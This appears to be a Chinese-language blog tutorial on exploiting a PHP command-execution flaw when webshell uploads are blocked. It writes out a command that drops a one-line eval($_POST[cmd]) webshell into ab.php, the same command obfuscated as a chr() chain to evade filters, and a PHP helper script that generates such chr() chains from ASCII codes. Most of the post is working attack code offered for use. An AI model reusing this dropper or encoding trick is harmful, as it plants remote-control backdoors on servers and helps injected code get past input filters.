一、在学习命令执行漏洞的过程中,遇到以下情况:
当服务器上传不了马或者马被过滤的时候,我们可以迂回一下,通过执行写马命令到服务器,在服务器里面写马,该命令是通过ascii编码过的命令,防止被过滤。
1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd])?>'); //写马命令
2
3 cmd=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(34).chr(97).chr(98).chr(46).chr(112).chr(104).chr(112).chr(34).chr(44).chr(34).chr(119).chr(34).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)); //用字符函数chr()表示的ascii转码后的命令
那么问题来了,命令直接转ascii码很简单,用一些编码转换工具就可以做到:
但是转换后只会生成一大串的ascii码,并不是以字符函数chr()来表示的,要是一个个添加chr()那会累死人的...所以决定利用php语言来帮我完成这项工作。
二、首先我们得到的是一大串数字,每个数字要用chr()包含,所以我们可以先把单独的ascii拆分开来,再以“).chr(”拼接。
要用到的函数有:
拆分函数explode()
- 用法:explode() 函数把字符串打散为数组。
- 语法:explode(separator,string,limit)
- 数组元素组合函数 implode()
用法:implode() 函数返回一个由数组元素组合成的字符串。
语法:implode(separator,array)
三、首先把所有ascii码赋值到$str,再用explode()将空格两边的数字拆下来赋值到$ary()函数,此时$ary()是一个数组
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);//拆分字符串
4
5 print_r($ary);//打印数组
6 ?>
把数组打印出来看看效果:
没问题,接着用implode()以").chr("将数组元素拼接起来,赋值到$ary2,然后修一下头尾就可以了:
1 <?php
2 $str="102 112 117 116 115 40 102 111 112 101 110 40 34 97 98 46 112 104 112 34 44 34 119 34 41 44 39 60 63 112 104 112 32 101 118 97 108 40 36 95 80 79 83 84 91 99 109 100 93 41 63 62 39 41 59";
3 $ary=explode(" ", $str);
4
5 print_r($ary);//打印数组
6
7 $ary2=implode(').chr(', $ary);//用").chr("将数组元素拼接起来
8 echo "chr(".$ary2.")";//修一下头尾
9 ?>
输出就可以得到我们想要的了:
最后:编程能力啊编程能力真的很重要,笔者真惭愧,这个脚本几句话都花了一上午时间。。能力好事半功倍,能力差只能是到处搬砖的脚本小子